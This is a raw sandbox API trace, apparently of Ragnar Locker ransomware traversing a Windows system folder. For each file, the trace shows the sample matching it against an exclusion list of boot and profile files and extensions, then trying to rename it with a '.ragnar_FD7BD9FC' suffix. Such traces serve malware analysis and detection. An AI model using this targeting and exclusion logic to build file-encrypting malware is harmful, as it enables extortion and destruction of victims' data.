lstrcpyW (in: lpString1=0x1eab52, lpString2="msadcor.dll.mui" | out: lpString1="msadcor.dll.mui") returned="msadcor.dll.mui" [0078.601] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned=".mui" [0078.601] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.601] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="autorun.inf") returned 1 [0078.601] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="boot.ini") returned 1 [0078.601] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="bootfont.bin") returned 1 [0078.601] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="bootsect.bak") returned 1 [0078.601] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="bootmgr") returned 1 [0078.602] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.602] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.602] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="desktop.ini") returned 1 [0078.602] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="iconcache.db") returned 1 [0078.602] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="ntldr") returned -1 [0078.602] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="ntuser.dat") returned -1 [0078.602] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="ntuser.dat.log") returned -1 [0078.602] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="ntuser.ini") returned -1 [0078.602] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="thumbs.db") returned -1 [0078.602] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.602] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.602] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.602] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.602] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.602] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.602] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0078.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.602] CloseHandle (hObject=0xffffffff) returned 0 [0078.602] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" [0078.602] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.ragnar_FD7BD9FC" [0078.602] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.602] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0078.602] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.602] lstrcpyW (in: lpString1=0x1eab52, lpString2="msaddsr.dll.mui" | out: lpString1="msaddsr.dll.mui") returned="msaddsr.dll.mui" [0078.603] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned=".mui" [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="autorun.inf") returned 1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="boot.ini") returned 1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="bootfont.bin") returned 1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="bootsect.bak") returned 1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="bootmgr") returned 1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="desktop.ini") returned 1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="iconcache.db") returned 1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="ntldr") returned -1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="ntuser.dat") returned -1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="ntuser.dat.log") returned -1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="ntuser.ini") returned -1 [0078.603] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="thumbs.db") returned -1 [0078.603] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.603] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.603] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.603] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.603] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.603] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.603] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0078.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.604] CloseHandle (hObject=0xffffffff) returned 0 [0078.604] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" [0078.604] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.ragnar_FD7BD9FC" [0078.604] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.604] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0078.604] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.604] lstrcpyW (in: lpString1=0x1eab52, lpString2="msdaprsr.dll.mui" | out: lpString1="msdaprsr.dll.mui") returned="msdaprsr.dll.mui" [0078.604] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned=".mui" [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="autorun.inf") returned 1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="boot.ini") returned 1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="bootfont.bin") returned 1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="bootsect.bak") returned 1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="bootmgr") returned 1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="desktop.ini") returned 1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="iconcache.db") returned 1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="ntldr") returned -1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="ntuser.dat") returned -1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="ntuser.dat.log") returned -1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="ntuser.ini") returned -1 [0078.605] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="thumbs.db") returned -1 [0078.605] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.605] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.605] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.605] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.605] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.605] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.605] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0078.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.605] CloseHandle (hObject=0xffffffff) returned 0 [0078.605] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" [0078.605] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.ragnar_FD7BD9FC" [0078.606] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.606] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0078.606] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.606] lstrcpyW (in: lpString1=0x1eab52, lpString2="msdaremr.dll.mui" | out: lpString1="msdaremr.dll.mui") returned="msdaremr.dll.mui" [0078.606] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui") returned=".mui" [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="autorun.inf") returned 1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="boot.ini") returned 1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="bootfont.bin") returned 1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="bootsect.bak") returned 1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="bootmgr") returned 1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="desktop.ini") returned 1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="iconcache.db") returned 1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="ntldr") returned -1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="ntuser.dat") returned -1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="ntuser.dat.log") returned -1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="ntuser.ini") returned -1 [0078.606] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="thumbs.db") returned -1 [0078.606] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.606] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.606] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.606] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.606] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.606] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.606] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0078.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.607] CloseHandle (hObject=0xffffffff) returned 0 [0078.607] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" [0078.607] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.ragnar_FD7BD9FC" [0078.607] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.607] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81166d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.607] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.607] lstrcpyW (in: lpString1=0x1eab52, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.607] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.607] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.607] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81166d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.607] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0078.607] lstrcmpiW (lpString1="handler.reg", lpString2=".") returned 1 [0078.607] lstrcmpiW (lpString1="handler.reg", lpString2="..") returned 1 [0078.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0078.607] lstrcmpiW (lpString1="handsafe.reg", lpString2=".") returned 1 [0078.607] lstrcmpiW (lpString1="handsafe.reg", lpString2="..") returned 1 [0078.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0078.607] lstrcmpiW (lpString1="msadce.dll", lpString2=".") returned 1 [0078.607] lstrcmpiW (lpString1="msadce.dll", lpString2="..") returned 1 [0078.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0078.607] lstrcmpiW (lpString1="msadcer.dll", lpString2=".") returned 1 [0078.607] lstrcmpiW (lpString1="msadcer.dll", lpString2="..") returned 1 [0078.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0078.607] lstrcmpiW (lpString1="msadcf.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msadcf.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msadcfr.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msadcfr.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msadco.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msadco.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msadcor.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msadcor.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 